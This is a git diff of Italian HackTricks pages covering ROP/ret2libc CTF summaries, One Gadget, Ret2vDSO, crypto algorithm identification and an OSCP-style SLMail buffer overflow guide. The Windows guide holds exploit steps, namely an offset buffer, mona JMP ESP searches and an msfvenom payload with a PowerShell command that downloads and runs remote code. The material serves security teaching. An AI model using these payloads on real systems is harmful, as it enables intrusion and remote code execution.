* 64 bit, ASLR abilitato ma nessun PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e rilevarlo. Con il canary viene creato un gadget ROP per chiamare puts e rilevare l'indirizzo di puts dal GOT e un gadget ROP per chiamare `system('/bin/sh')` * 64 bit, ASLR abilitato ma nessun PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e rivelarlo. Con il canary viene creato un ROP gadget per chiamare puts e rivelare l'indirizzo di puts dalla GOT e un ROP gadget per chiamare `system('/bin/sh')`
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html) * [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* 64 bit, ASLR abilitato, nessun canary, stack overflow in main da una funzione figlio. Gadget ROP per chiamare puts e rilevare l'indirizzo di puts dal GOT e poi chiamare un gadget one. * 64 bit, ASLR abilitato, nessun canary, stack overflow in main da una funzione figlio. ROP gadget per chiamare puts e rivelare l'indirizzo di puts dalla GOT e poi chiamare un one gadget.
* [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html) * [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html)
* 64 bit, nessun pie, nessun canary, nessun relro, nx. Utilizza la funzione write per rilevare l'indirizzo di write (libc) e chiama un gadget one. * 64 bit, nessun pie, nessun canary, nessun relro, nx. Utilizza la funzione write per rivelare l'indirizzo di write (libc) e chiama un one gadget.
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html) * [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
* Utilizza una stringa di formato per rilevare il canary dallo stack e un buffer overflow per chiamare system (è nel GOT) con l'indirizzo di `/bin/sh`. * Utilizza una stringa di formato per rivelare il canary dallo stack e un buffer overflow per chiamare system (è nella GOT) con l'indirizzo di `/bin/sh`.
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html) * [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
* 32 bit, nessun relro, nessun canary, nx, pie. Abusa di un cattivo indicizzazione per rilevare gli indirizzi di libc e heap dallo stack. Abusa dell'overflow del buffer per fare un ret2lib chiamando `system('/bin/sh')` (è necessario l'indirizzo dell'heap per eludere un controllo). * 32 bit, nessun relro, nessun canary, nx, pie. Abusa di un cattivo indicizzazione per rivelare gli indirizzi di libc e heap dallo stack. Abusa del buffer overflow per fare un ret2lib chiamando `system('/bin/sh')` (è necessario l'indirizzo dell'heap per eludere un controllo).

View file

@ -1,23 +1,24 @@
# One Gadget # One Gadget
{% hint style="success" %}
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
[**One Gadget**](https://github.com/david942j/one\_gadget) consente di ottenere una shell anziché utilizzare **system** e **"/bin/sh". One Gadget** troverà all'interno della libreria libc un modo per ottenere una shell (`execve("/bin/sh")`) utilizzando solo un **indirizzo**.\ [**One Gadget**](https://github.com/david942j/one\_gadget) consente di ottenere una shell anziché utilizzare **system** e **"/bin/sh". One Gadget** troverà all'interno della libreria libc un modo per ottenere una shell (`execve("/bin/sh")`) utilizzando solo un **indirizzo**.\
Tuttavia, di solito ci sono alcune restrizioni, le più comuni e facili da evitare sono come `[rsp+0x30] == NULL`. Poiché controlli i valori all'interno del **RSP**, devi solo inviare alcuni valori NULL in più in modo che la restrizione venga evitata. Tuttavia, di solito ci sono alcune restrizioni, le più comuni e facili da evitare sono come `[rsp+0x30] == NULL`. Poiché controlli i valori all'interno del **RSP**, devi solo inviare ulteriori valori NULL in modo che la restrizione venga evitata.
![](<../../../.gitbook/assets/image (754).png>) ![](<../../../.gitbook/assets/image (754).png>)
```python ```python
@ -32,27 +33,28 @@ One Gadget è di **grande aiuto per le tecniche di scrittura arbitraria 2 esecuz
### ARM64 ### ARM64
Il repository github menziona che **ARM64 è supportato** dallo strumento, ma quando viene eseguito nella libc di un Kali 2023.3 **non trova alcun gadget**. Il repository di github menziona che **ARM64 è supportato** dallo strumento, ma quando viene eseguito nella libc di un Kali 2023.3 **non trova alcun gadget**.
## Angry Gadget ## Angry Gadget
Dal [**repository github**](https://github.com/ChrisTheCoolHut/angry\_gadget): Ispirato da [OneGadget](https://github.com/david942j/one\_gadget) questo strumento è scritto in python e utilizza [angr](https://github.com/angr/angr) per testare vincoli per gadget che eseguono `execve('/bin/sh', NULL, NULL)`\ Dal [**repository di github**](https://github.com/ChrisTheCoolHut/angry\_gadget): Ispirato da [OneGadget](https://github.com/david942j/one\_gadget) questo strumento è scritto in python e utilizza [angr](https://github.com/angr/angr) per testare i vincoli per i gadget che eseguono `execve('/bin/sh', NULL, NULL)`\
Se hai esaurito i gadget da provare da OneGadget, Angry Gadget ne fornisce molti altri con vincoli complicati da provare! Se hai esaurito i gadget da provare da OneGadget, Angry Gadget ne fornisce molti altri con vincoli complicati da provare!
```bash ```bash
pip install angry_gadget pip install angry_gadget
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
``` ```
{% hint style="success" %}
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Ret2vDSO # Ret2vDSO
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
@ -64,7 +65,7 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
``` ```
{% hint style="danger" %} {% hint style="danger" %}
Nota quindi come potrebbe essere possibile **bypassare ASLR sfruttando il vdso** se il kernel è compilato con CONFIG\_COMPAT\_VDSO poiché l'indirizzo vdso non verrà randomizzato: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) Nota quindi come potrebbe essere possibile **aggirare l'ASLR abusando del vdso** se il kernel è compilato con CONFIG\_COMPAT\_VDSO poiché l'indirizzo vdso non verrà randomizzato: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
{% endhint %} {% endhint %}
### ARM64 ### ARM64
@ -75,16 +76,17 @@ Dopo aver dumpato e controllato la sezione vdso di un binario in kali 2023.2 arm
[srop-arm64.md](srop-sigreturn-oriented-programming/srop-arm64.md) [srop-arm64.md](srop-sigreturn-oriented-programming/srop-arm64.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Windows Exploiting (Guida di Base - Livello OSCP) # Windows Exploiting (Guida di Base - Livello OSCP)
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## **Inizia installando il servizio SLMail** ## **Inizia installando il servizio SLMail**
@ -50,15 +51,15 @@ print "Could not connect to "+ip+":"+port
Vai su `Opzioni >> Aspetto >> Caratteri >> Cambia (Consolas, Grassetto, 9) >> OK` Vai su `Opzioni >> Aspetto >> Caratteri >> Cambia (Consolas, Grassetto, 9) >> OK`
## **Attacca il processo a Immunity Debugger:** ## **Collega il processo a Immunity Debugger:**
**File --> Attacca** **File --> Collega**
![](<../.gitbook/assets/image (869).png>) ![](<../.gitbook/assets/image (869).png>)
**E premi il pulsante START** **E premi il pulsante START**
## **Invia l exploit e controlla se l'EIP è stato influenzato:** ## **Invia l'exploit e controlla se l'EIP è stato influenzato:**
![](<../.gitbook/assets/image (906).png>) ![](<../.gitbook/assets/image (906).png>)
@ -72,7 +73,7 @@ Il modello dovrebbe essere grande quanto il buffer che hai usato per interromper
``` ```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
``` ```
Modifica il buffer dell'exploit e imposta il pattern e avvia l'exploit. Modifica il buffer dell'exploit e imposta il pattern, poi esegui l'exploit.
Dovrebbe comparire un nuovo crash, ma con un diverso indirizzo EIP: Dovrebbe comparire un nuovo crash, ma con un diverso indirizzo EIP:
@ -106,13 +107,13 @@ Modifichiamo il buffer:
``` ```
buffer = 'A'*2606 + 'BBBB' + 'C'*600 buffer = 'A'*2606 + 'BBBB' + 'C'*600
``` ```
Lancia il nuovo exploit e controlla l'EBP e la lunghezza dello shellcode utile Lancia il nuovo exploit e controlla l'EBP e la lunghezza del codice shell utile
![](<../.gitbook/assets/image (119).png>) ![](<../.gitbook/assets/image (119).png>)
![](<../.gitbook/assets/image (879).png>) ![](<../.gitbook/assets/image (879).png>)
Puoi vedere che quando viene raggiunta la vulnerabilità, l'EBP punta allo shellcode e che abbiamo molto spazio per posizionare uno shellcode qui. Puoi vedere che quando viene raggiunta la vulnerabilità, l'EBP punta al codice shell e che abbiamo molto spazio per posizionare un codice shell qui.
In questo caso abbiamo **da 0x0209A128 a 0x0209A2D6 = 430B.** Abbastanza. In questo caso abbiamo **da 0x0209A128 a 0x0209A2D6 = 430B.** Abbastanza.
@ -160,7 +161,7 @@ Utilizzando:
``` ```
!mona modules #Get protections, look for all false except last one (Dll of SO) !mona modules #Get protections, look for all false except last one (Dll of SO)
``` ```
Devi **elencare le mappe di memoria**. Cerca una DLL che abbia: Dovrai **elencare le mappe di memoria**. Cerca qualche DLL che abbia:
* **Rebase: False** * **Rebase: False**
* **SafeSEH: False** * **SafeSEH: False**
@ -175,7 +176,7 @@ Ora, all'interno di questa memoria dovresti trovare alcuni byte JMP ESP, per far
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
``` ```
**Quindi, se viene trovato un indirizzo, scegliere uno che non contenga alcun badchar:** **Quindi, se viene trovato un indirizzo, scegliere uno che non contenga alcun carattere non valido:**
![](<../.gitbook/assets/image (605).png>) ![](<../.gitbook/assets/image (605).png>)
@ -188,7 +189,7 @@ msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Obj
``` ```
Se l'exploit non funziona ma dovrebbe (puoi vedere con ImDebg che il codice shell viene raggiunto), prova a creare altri codici shell (msfvenom con crea diversi codici shell per gli stessi parametri). Se l'exploit non funziona ma dovrebbe (puoi vedere con ImDebg che il codice shell viene raggiunto), prova a creare altri codici shell (msfvenom con crea diversi codici shell per gli stessi parametri).
**Aggiungi alcuni NOPS all'inizio** del codice shell e usalo insieme all'indirizzo di ritorno per fare un JMP ESP, e completa l'exploit: **Aggiungi alcuni NOPS all'inizio** del codice shell e usalo insieme all'indirizzo di ritorno per JMP ESP, e completa l'exploit:
```bash ```bash
#!/usr/bin/python #!/usr/bin/python
@ -247,16 +248,17 @@ Aggiungi questi parametri:
```bash ```bash
EXITFUNC=thread -e x86/shikata_ga_nai EXITFUNC=thread -e x86/shikata_ga_nai
``` ```
{% hint style="success" %}
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}

View file

@ -2,23 +2,24 @@
## Algoritmi crittografici/Compressione ## Algoritmi crittografici/Compressione
{% hint style="success" %}
Impara e pratica l'Hacking AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## Identificazione degli Algoritmi ## Identificazione degli Algoritmi
Se ti trovi in un codice **che utilizza shift a destra e sinistra, xor e diverse operazioni aritmetiche** è molto probabile che si tratti dell'implementazione di un **algoritmo crittografico**. Qui verranno mostrati alcuni modi per **identificare l'algoritmo utilizzato senza dover invertire ogni passaggio**. Se ti trovi in un codice **che utilizza shift a destra e a sinistra, xor e diverse operazioni aritmetiche**, è molto probabile che si tratti dell'implementazione di un **algoritmo crittografico**. Qui verranno mostrati alcuni modi per **identificare l'algoritmo utilizzato senza dover invertire ogni passaggio**.
### Funzioni API ### Funzioni API
@ -75,11 +76,11 @@ In questo caso, se cerchi **0xA56363C6** puoi scoprire che è correlato alle **t
È composto da 3 parti principali: È composto da 3 parti principali:
* **Fase di inizializzazione/**: Crea una **tabella di valori da 0x00 a 0xFF** (256 byte in totale, 0x100). Questa tabella è comunemente chiamata **Substitution Box** (o SBox). * **Fase di inizializzazione/**: Crea una **tabella di valori da 0x00 a 0xFF** (256 byte in totale, 0x100). Questa tabella è comunemente chiamata **Substitution Box** (o SBox).
* **Fase di scrambling**: **Scorrerà la tabella** creata prima (ciclo di 0x100 iterazioni, di nuovo) modificando ogni valore con byte **semi-random**. Per creare questi byte semi-random, viene utilizzata la **chiave RC4**. Le **chiavi RC4** possono essere **lunghe da 1 a 256 byte**, ma di solito è consigliabile che siano superiori a 5 byte. Comunemente, le chiavi RC4 sono lunghe 16 byte. * **Fase di scrambling**: Scorrerà la tabella creata prima (ciclo di 0x100 iterazioni, di nuovo) modificando ogni valore con byte **semi-random**. Per creare questi byte semi-random, viene utilizzata la **chiave RC4**. Le **chiavi RC4** possono essere **lunghe da 1 a 256 byte**, tuttavia di solito è consigliabile che siano superiori a 5 byte. Comunemente, le chiavi RC4 sono lunghe 16 byte.
* **Fase XOR**: Infine, il testo in chiaro o cifrato viene **XORato con i valori creati prima**. La funzione per crittografare e decrittografare è la stessa. Per questo, verrà eseguito un **ciclo attraverso i 256 byte creati** tante volte quante necessario. Questo è di solito riconosciuto in un codice decompilato con un **%256 (mod 256)**. * **Fase XOR**: Infine, il testo in chiaro o il cifrato è **XORato con i valori creati prima**. La funzione per crittografare e decrittografare è la stessa. Per questo, verrà eseguito un **ciclo attraverso i 256 byte creati** tante volte quante necessario. Questo è di solito riconosciuto in un codice decompilato con un **%256 (mod 256)**.
{% hint style="info" %} {% hint style="info" %}
**Per identificare un RC4 in un codice di disassemblaggio/decompilato, controlla la presenza di 2 cicli di dimensione 0x100 (con l'uso di una chiave) e poi un XOR dei dati di input con i 256 valori creati prima nei 2 cicli probabilmente usando un %256 (mod 256)** **Per identificare un RC4 in un codice di disassemblaggio/decompilato, controlla la presenza di 2 cicli di dimensione 0x100 (con l'uso di una chiave) e poi un XOR dei dati di input con i 256 valori creati prima nei 2 cicli probabilmente utilizzando un %256 (mod 256)**
{% endhint %} {% endhint %}
### **Fase di inizializzazione/Substitution Box:** (Nota il numero 256 usato come contatore e come un 0 è scritto in ogni posizione dei 256 caratteri) ### **Fase di inizializzazione/Substitution Box:** (Nota il numero 256 usato come contatore e come un 0 è scritto in ogni posizione dei 256 caratteri)
